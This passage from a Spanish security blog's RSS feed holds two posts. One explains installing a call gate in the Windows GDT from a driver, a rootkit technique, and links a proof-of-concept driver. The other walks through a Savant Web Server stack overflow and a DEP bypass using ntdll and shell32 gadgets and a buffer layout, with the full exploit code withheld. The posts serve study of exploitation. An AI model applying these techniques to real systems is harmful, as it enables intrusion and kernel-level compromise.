<li> Construir la Call Gate que apunte a nuestra rutina.</li>
<li> Leer el registro GDTR para poder encontrar la GDT usando la instrucción: SGDT. El registro GDTR tiene la siguiente pinta:
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">typedef</span> <span class="kw4">struct</span> _GDTR<br />
<span class="br0">&#123;</span><br />
WORD &nbsp;nBytes;<br />
DWORD baseAddress;<br />
<span class="br0">&#125;</span> GDTR;</div>
</li>
</ol>
<p>Para obtener el número de entradas en la GDT basta con un GDTR.nBytes / 8.</p>
<ol>
<li> Buscar una entrada libre en la GDT.</li>
<li> Escribir la Call Gate.</li>
</ol>
<p>Para llamar a la Call Gate solo es necesario hacer un CALL FAR al selector de la GDT, es decir si hemos introducido la Call Gate en la entrada 6 de la GDT, la aplicación de espacio de usuario deberá ejecutar un CALL FAR 006:00000000. La otra parte del FAR CALL no sirve para nada pero debe estar en la instrucción.</p>
<p>La rutina de la Call Gate debe salvar los registros: EAX, ECX, EDX, EBX, EBP, ESP, ESI, EDI, EFLAGS y FS. Además debe desactivar las interrupciones con CLI. El selector de FS debe ser 0&#215;30, después solo es necesario restaurar los registros y activar las interrupciones con STI y un RETF si se desea volver a ring3. Todo esto está sacado de nt!KiDebugService() por si te lo estás preguntando.</p>
<p>Bueno y ahora es el momento de los matices, el POC code del libro no tiene en cuenta la posibilidad de existir varios COREs, esto quiere decir que solo es capaz de instalar la Call Gate en el CORE que toque cuando se cargue el driver y la GDT del otro CORE queda intacta, el problema es que si la aplicación de espacio de usuario hace un FAR CALL estando en otro CORE donde no existe la Call Gate no funcionará.</p>
<p>En Windows es sencillo controlar esto con dos APIs: para obtener el número de COREs se puede usar un simple</p>
<div class="dean_ch" style="white-space: wrap;">GetSystemInfo:<br />
<span class="kw4">void</span> WINAPI GetSystemInfo<span class="br0">&#40;</span><br />
__out  LPSYSTEM_INFO lpSystemInfo<br />
<span class="br0">&#41;</span>;</div>
<p>Para el número de COREs lógico se puede usar GetLogicalProcessorInformation.<br />
SYSTEM_INFO tiene la siguiente pinta:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">typedef</span> <span class="kw4">struct</span> _SYSTEM_INFO <span class="br0">&#123;</span><br />
&#8230;<br />
<span class="me1">DWORD</span>     dwNumberOfProcessors;<br />
&#8230;<br />
<span class="br0">&#125;</span>SYSTEM_INFO;</div>
<p>Con el campo dwNumberOfProcessors podemos realizar un bucle para ir CORE por CORE añadiendo la Call Gate, también se puede forzar al driver a instalar la Call Gate en el primer core (1) y que la aplicación de espacio de usuario solo se ejecute en el core 1, esto se consigue con la API: SetThreadAffinityMask, que es asín:</p>
<div class="dean_ch" style="white-space: wrap;">DWORD_PTR WINAPI SetThreadAffinityMask<span class="br0">&#40;</span><br />
__in  HANDLE hThread,<br />
__in  DWORD_PTR dwThreadAffinityMask<br />
<span class="br0">&#41;</span>;</div>
<p>Pasándole un GetCurrentThread() y como AffinityMask el valor 1,</p>
<div class="dean_ch" style="white-space: wrap;">Affinity = <span class="nu0">1</span>;<br />
SetThreadAffinityMask<span class="br0">&#40;</span> GetCurrentThread<span class="br0">&#40;</span><span class="br0">&#41;</span>, Affinity <span class="br0">&#41;</span>;</div>
<p>Ojito, DWORD_PTR no es un puntero a DWORD, se pasa por valor.</p>
<p>Si se hace un for con el número de procesadores y con la variable índice (el primero core es 1 no 0) como Affinity puedes instalar una Call Gate en todos los cores.</p>
<p>En el driver que adjunto como POC desde el driver muestro la GDT de todos los COREs para mostrar lo que digo, solo saldrá la Call Gate en un CORE.</p>
<p>Para hacer esto desde un driver es necesario un:</p>
<div class="dean_ch" style="white-space: wrap;">ZwQuerySystemInformation<span class="br0">&#40;</span> SystemBasicInformation, &amp;amp; system_basic_information, <span class="kw4">sizeof</span><span class="br0">&#40;</span> system_basic_information <span class="br0">&#41;</span>, <span class="kw2">NULL</span> <span class="br0">&#41;</span>;</div>
<p>Para obtener el número de cores y un:</p>
<div class="dean_ch" style="white-space: wrap;">ZwSetInformationThread<span class="br0">&#40;</span> <span class="br0">&#40;</span>HANDLE<span class="br0">&#41;</span> <span class="nu0">-2</span>, ThreadAffinityMask, &amp;amp; AffinityMask, <span class="kw4">sizeof</span><span class="br0">&#40;</span> AffinityMask <span class="br0">&#41;</span> <span class="br0">&#41;</span>;</div>
<p>Para cambiar de core, -2 es el equivalente del GetCurrent…</p>
<p>Otra cosa rara del POC del libro es que pasaba la GDT por valor y no el puntero a PrintGDT y eso me daba problemas, lo he cambiado para que se pase como PSEG_DESCRIPTOR y todo funciona sin problemas.</p>
<p>Y esto es todo, el código es bastante claro, espero que se haya entendido, un saludo desde 48bits.</p>
<p>Descargar el driver desde aquí: <a href="http://www.48bits.com/files/cgaty.rar">http://www.48bits.com/files/cgaty.rar</a></p>
<p>Driver probado en: XP y VISTA (bin driver: WinDDK 6001.17121 &amp; XP x86 Free build).</p>
<p>Algunas lecturas sobre call gates:</p>
<p><a href="http://www.phrack.com/issues.html?issue=59&amp;id=16">http://www.phrack.com/issues.html?issue=59&amp;id=16</a><a href="http://en.wikipedia.org/wiki/Call_gate"></p>
<p>http://en.wikipedia.org/wiki/Call_gate</a></p>
<p><a href="http://www.intel.com/design/processor/manuals/253668.pdf">http://www.intel.com/design/processor/manuals/253668.pdf</a><br />
<a href="http://ricardonarvaja.info/WEB/OTROS/TUTES%20SACCOPHARYNX/">http://ricardonarvaja.info/WEB/OTROS/TUTES%20SACCOPHARYNX/</a><br />
<a href="http://members.fortunecity.com/blackfenix/callgates.html">http://members.fortunecity.com/blackfenix/callgates.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/01/08/rootkit-arsenal-installing-a-call-gate/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Saltándonos DEP: a lo Savant</title>
		<link>http://blog.48bits.com/2010/01/03/saltandonos-dep-a-lo-savant/</link>
		<comments>http://blog.48bits.com/2010/01/03/saltandonos-dep-a-lo-savant/#comments</comments>
		<pubDate>Sun, 03 Jan 2010 17:42:29 +0000</pubDate>
		<dc:creator>jon</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[dep]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[savant]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=805</guid>
		<description><![CDATA[Estas últimas 3 semanas he estado picado con un bug que me decidí a salsear para seguir aprendiendo más cosas de estas que no se enseñan en la escuela. El bug en cuestión se trata de un clásico stack overflow en la version 3.1 y inferiores de Savant Web Server. A pesar de haber varios [...]]]></description>
			<content:encoded><![CDATA[<p>Estas últimas 3 semanas he estado picado con un bug que me decidí a salsear para seguir aprendiendo más cosas de estas que no se enseñan en la escuela. El bug en cuestión se trata de un clásico stack overflow en la version 3.1 y inferiores de Savant Web Server. A pesar de haber varios exploits ya publicados para este fallo, todos ellos estaban diseñados para funcionar en XP SP2 o inferiores. En mi caso particular se dio la coincidencia de que tengo instalada una maquina virtual de 2003 Server SP1. Este sistema tiene dos peculiaridades. La primera, es que desde Service Pack 1 incluye soporte para tecnologias DEP o lo que los chicos de Microsoft llaman <em>prevención de ejecución de datos</em>. La segunda tiene que ver con las politicas de implantación de DEP. Tal y como MS nos cuenta en <a title="Microsoft" href="http://support.microsoft.com/kb/875352" target="_blank">su web</a>, existen varias politicas definidas para ello. La que nos interesa es la llamada <strong>OptOut</strong>, la cual por defecto activa DEP para todos los procesos del sistema que explícitamente no indiquen lo contrario.</p>
<p>Volviendo al tema del bug en cuestión, como ya he dicho se trata de un clásico overflow de buffer en la pila. En este caso la situación se dá cuando un usuario realiza una petición HTTP que no está reconocida, o dicho de otra forma, cuando el usuario tiene ganas de marcha. He dicho que se trata de un clásico overflow en la pila, y eso no es nada nuevo. Cierto. Pero por algo hemos comentado el DEP en Windows 2003 Server SP1. Hablando en plata, lo que no he encontrado en ningún sitio es un exploit público que sobrepase DEP para este bug, y puesto que ya está hecho a lo mejor le sirve de ayuda a alguien para sus futuros planes de dominar el mundo <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Bromas aparte, por motivos éticos, no voy a publicar el codigo del exploit, por dos razones basicas:</p>
<ul>
<li>Cualquiera que séa capaz de entender este post, es capaz de escribir su propio exploit.</li>
<li>El bug sigue sin ser corregido en la última versión del software.</li>
</ul>
<p>Desgraciadamente, parece ser que el proyecto lleva algún tiempo abandonado y aprovechando esto, con motivos siempre educativos, vamos a ver que se puede hacer. Odio tener que poner disclaimers en los posts, pero es mejor prevenir que curar. El que utilice lo aquí mostrado con cualquier tipo de fin, lo hace bajo su propia responsabilidad y sin ninguna garantía. Accediendo a esta pagina estas de acuerdo con lo aquí mencionado. Ahora al lio.</p>
<p><span id="more-805"></span></p>
<p>Si hacemos una traza del flujo de un paquete poniendo unos breakpoints en los tipicos <strong>recv()</strong> y <strong>recvfrom()</strong>, veremos que se hace uso de un wrapper en <strong>0&#215;00401023</strong>. Una vez recibido el paquete, se procede a analizar la cabecera para comprobar que tipo de petición se ha recibido. Si hemos tenido la <span style="text-decoration: line-through;">mala</span> suerte de hacer una petición que no corresponde a ninguno de los que el servidor reconoce, acabamos llegando a la rutina en <strong>0x0040BFA0</strong>, que es donde vamos a exprimir la naranja. Lo primero que se hace en esta función es llamar a una rutina en <strong>0&#215;00401285</strong> que se encarga de encadenar el path que nuestro paquete señala, al path del directorio de trabajo de Savant. A pesar de que se hacen varios usos de nuestro amigo <strong>strcpy()</strong> el bug reside hacia el final de la rutina, concretamente en:</p>
<div class="dean_ch" style="white-space: wrap;">.text:00411A6A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_14<span class="br0">&#93;</span><br />
.text:00411A6D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">add</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_8<span class="br0">&#93;</span><br />
.text:00411A70 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+Str1<span class="br0">&#93;</span><br />
.text:00411A73 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">add</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_C<span class="br0">&#93;</span><br />
.text:00411A76 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">cl</span>, <span class="br0">&#91;</span><span class="kw3">eax</span><span class="br0">&#93;</span><br />
.text:00411A78 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">edx</span><span class="br0">&#93;</span>, <span class="kw3">cl</span> &nbsp; &nbsp; &nbsp; <span class="co1">; PWN stack</span></div>
<p>La cagada ya está hecha. Ahora volvemos al <em>caller</em> que será el encargado de redirigir la ejecución a donde nosotros le hayamos dicho. Ahora vamos a pensar que tipo de petición vamos a construir. Lo que haremos sera algo que guardara un lejano parecido con una correcta petición HTTP:</p>
<p style="text-align: center;"><strong>METODO | &lt;espacio en blanco&gt; | / | &lt;nuestro path&gt;</strong></p>
<p>En cuanto al espacio disponible, conocemos lo siguiente:</p>
<ul>
<li><strong>recv()</strong> nos permite hasta un máximo de 0&#215;4000 bytes.</li>
<li><strong>METODO</strong> puede tener como máximo 24 bytes.</li>
<li><strong>&lt;nuestro path&gt;</strong> puede albergar un máximo de 250 bytes hasta (sin incluir) el valor ret, más 32 bytes adicionales después de este último.</li>
</ul>
<p>Como ya he mencionado anteriormente, el jugo en este caso es saltarse la protección DEP. A pesar de que se han planteado varias soluciones, mi favorita es la propuesta por skape y Skywing en <a title="Uninformed" href="http://www.uninformed.org/?v=2&amp;a=4&amp;t=sumry" target="_blank">este</a> articulo para el 2º Volumen de <em>Uninformed</em>. No voy a entrar en detalles de la tecnica, es una lectura bastante corta y recomendable, pero aquí os haré un resumen. Lo que trataremos de hacer, en vez de redefinir los parámetros de acceso de una región de memoria, será de desactivar DEP completamente para todo el proceso. Para ello haremos un <em>ret2code</em> o dicho en lenguaje llano, reutilizar codigo existente en memoria. En el articulo se demuestra una secuencia de código que yo personalmente no he encontrado en la versión española de la plataforma. Pero tras bucear entre dumps de memoria, encontramos la siguiente secuencia dentro de ntdll.dll:</p>
<div class="dean_ch" style="white-space: wrap;">.text:7C83E413 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_4<span class="br0">&#93;</span>, <span class="nu0">2</span><br />
.text:7C83E41A<br />
.text:7C83E41A loc_7C83E41A: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; CODE XREF: sub_7C83592A+45j</span><br />
.text:7C83E41A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="nu0">4</span><br />
.text:7C83E41C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">lea</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ebp</span>+var_4<span class="br0">&#93;</span><br />
.text:7C83E41F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">eax</span><br />
.text:7C83E420 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;22h<br />
.text:7C83E422 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="re0">0FFFFFFFFh</span><br />
.text:7C83E424 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;ZwSetInformationProcess<br />
.text:7C83E429 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jmp</span> &nbsp; &nbsp; finish</div>
<p>Y tras el jump:</p>
<div class="dean_ch" style="white-space: wrap;">.text:7C835975 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">or</span> &nbsp; &nbsp; &nbsp;<span class="kw5">byte</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span><span class="kw3">esi</span>+37h<span class="br0">&#93;</span>, 80h<br />
.text:7C835979 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">esi</span><br />
.text:7C83597A<br />
.text:7C83597A locret_7C83597A: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">; CODE XREF: sub_7C83592A+Dj</span><br />
.text:7C83597A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">leave</span><br />
.text:7C83597B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">retn</span> &nbsp; &nbsp;<span class="nu0">4</span></div>
<p>Ahora nos encontramos con un problema. El <em>leave</em> que se ejecuta justo antes de hacer ret, hace un cambio de frame en una sola instrucción y nos jode el fake frame que necesitamos para encadenar secuencias de ret&#8217;s y volver a ejecutar nuestro codigo. Así es como termina la secuencia de ejecución de <strong>0x0040BFA0</strong>, que es la que nos da control sobre la ejecución:</p>
<div class="dean_ch" style="white-space: wrap;">.text:0040C102 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">edi</span><br />
.text:0040C103 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">esi</span><br />
.text:0040C104 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">ebx</span><br />
.text:0040C105 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">esp</span>, <span class="kw3">ebp</span><br />
.text:0040C107 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">ebp</span><br />
.text:0040C108 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">retn</span></div>
<p>Como se puede observar, obtenemos ebp de la pila y aunque a primera vista esto no parezca un problema, lo es. El problema radica en que el fake frame que queremos construir esta en la pila, cuyas direcciones son del tipo <strong>0x00XXXXXX</strong>. Así pues, no podemos poner valores de ese tipo en nuestro buffer por que tiene bytes nulos y se nos desmonta la barraca. Que podemos hacer frente a esto? Lo único que se me ha ocurrido ha sido utilizar algún tipo de operador logico para construir nuestro valor en tiempo de ejecución. Lo que nos lleva a la siguiente secuencia de codigo dentro de shell32.dll:</p>
<div class="dean_ch" style="white-space: wrap;">.text:7CA0E9BC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">or</span> &nbsp; &nbsp; &nbsp;<span class="kw3">cl</span>, <span class="kw3">ch</span><br />
.text:7CA0E9BE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">xor</span> &nbsp; &nbsp; <span class="kw3">ebp</span>, <span class="nu0">9</span><span class="re0">090FFFFh</span><br />
.text:7CA0E9C4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">nop</span><br />
.text:7CA0E9C5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">nop</span><br />
.text:7CA0E9C6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">nop</span><br />
.text:7CA0E9C7<br />
.text:7CA0E9C7 loc_7CA0E9C7: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; DATA XREF: .text:off_7C90FAE4o</span><br />
.text:7CA0E9C7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">sub</span> &nbsp; &nbsp; <span class="kw5">dword</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span>esp<span class="nu0">+4</span><span class="br0">&#93;</span>, 20h<br />
.text:7CA0E9CC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jmp</span> &nbsp; &nbsp; sub_7CA0DF22</div>
<p>Que termina saltando a:</p>
<div class="dean_ch" style="white-space: wrap;">.text:7CA0DF22 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edi</span>, <span class="kw3">edi</span><br />
.text:7CA0DF24 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebp</span><br />
.text:7CA0DF25 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">ebp</span>, <span class="kw3">esp</span><br />
.text:7CA0DF27 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_8<span class="br0">&#93;</span><br />
.text:7CA0DF2A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_4<span class="br0">&#93;</span><br />
.text:7CA0DF2D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw4">offset</span> off_7C8DC0A0<br />
.text:7CA0DF32 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="br0">&#91;</span><span class="kw3">ebp</span>+arg_0<span class="br0">&#93;</span><br />
.text:7CA0DF35 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;SHLWAPI_219<br />
.text:7CA0DF3A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pop</span> &nbsp; &nbsp; <span class="kw3">ebp</span><br />
.text:7CA0DF3B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">retn</span> &nbsp; &nbsp;<span class="re0">0Ch</span></div>
<p>A pesar de que tenemos un call algo feo ahí, no hay nada de lo que preocuparse porque el ebp que acabamos de construir se salva con el push del prologo y el pop del epilogo. El resto del proceso de explotación no conlleva mayores cábalas. Como controlamos ebp, controlamos el ret de <strong>0x7CA0DF3B</strong>. Bastaría con volver a algun codigo como <em>jmp esp</em>, para continuar ejecutando, ahora sin DEP, desde la pila. El ultimo problema que tenemos es que solo tenemos 250 bytes de espacio para albergar nuestro shellcode que, además debe estar con codificación alfanumérica. Por lo tanto, la estructura de nuestro buffer final podría ser algo así:</p>
<p>&lt;padding&gt; + &lt;espacio en blanco&gt; +  / + &lt;padding&gt; + &lt;jmp_esp&gt; + &lt;shellcode&gt; + &lt;valor de ebp&gt; + &lt;primer ret&gt; + &lt;ret2dep&gt; + &lt;referenciable 1&gt; + &lt;referenciable 2&gt; + &lt;referenciable 3&gt; + ‘\r\n\r\n’</p>
<p>Un par de comentarios sobre la estructura. Primero, recordar que el &lt;valor de ebp&gt; debe ser el adecuado para que despues del XOR obtengamos el valor que nos interesa. Segundo, los tres valores que marco como referenciables, son 3 valores de 4 bytes que apunten a una región de memoria con permisos de lectura y escritura, sino el programa no seguirá el camino que nos interesa. Por otro lado, entiendo que esta solución no es la optima y esta lejos de ser una solución universal, pero como ejemplo, pienso que demuestra un caso curioso.</p>
<p>Mención especial para Ruben y Joxean por su paciencia y atención!</p>
<p>La versión original de esto post la podeis encontrar <a title="www.morenops.com" href="http://www.morenops.com/blog/?p=535" target="_blank">aquí</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/01/03/saltandonos-dep-a-lo-savant/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

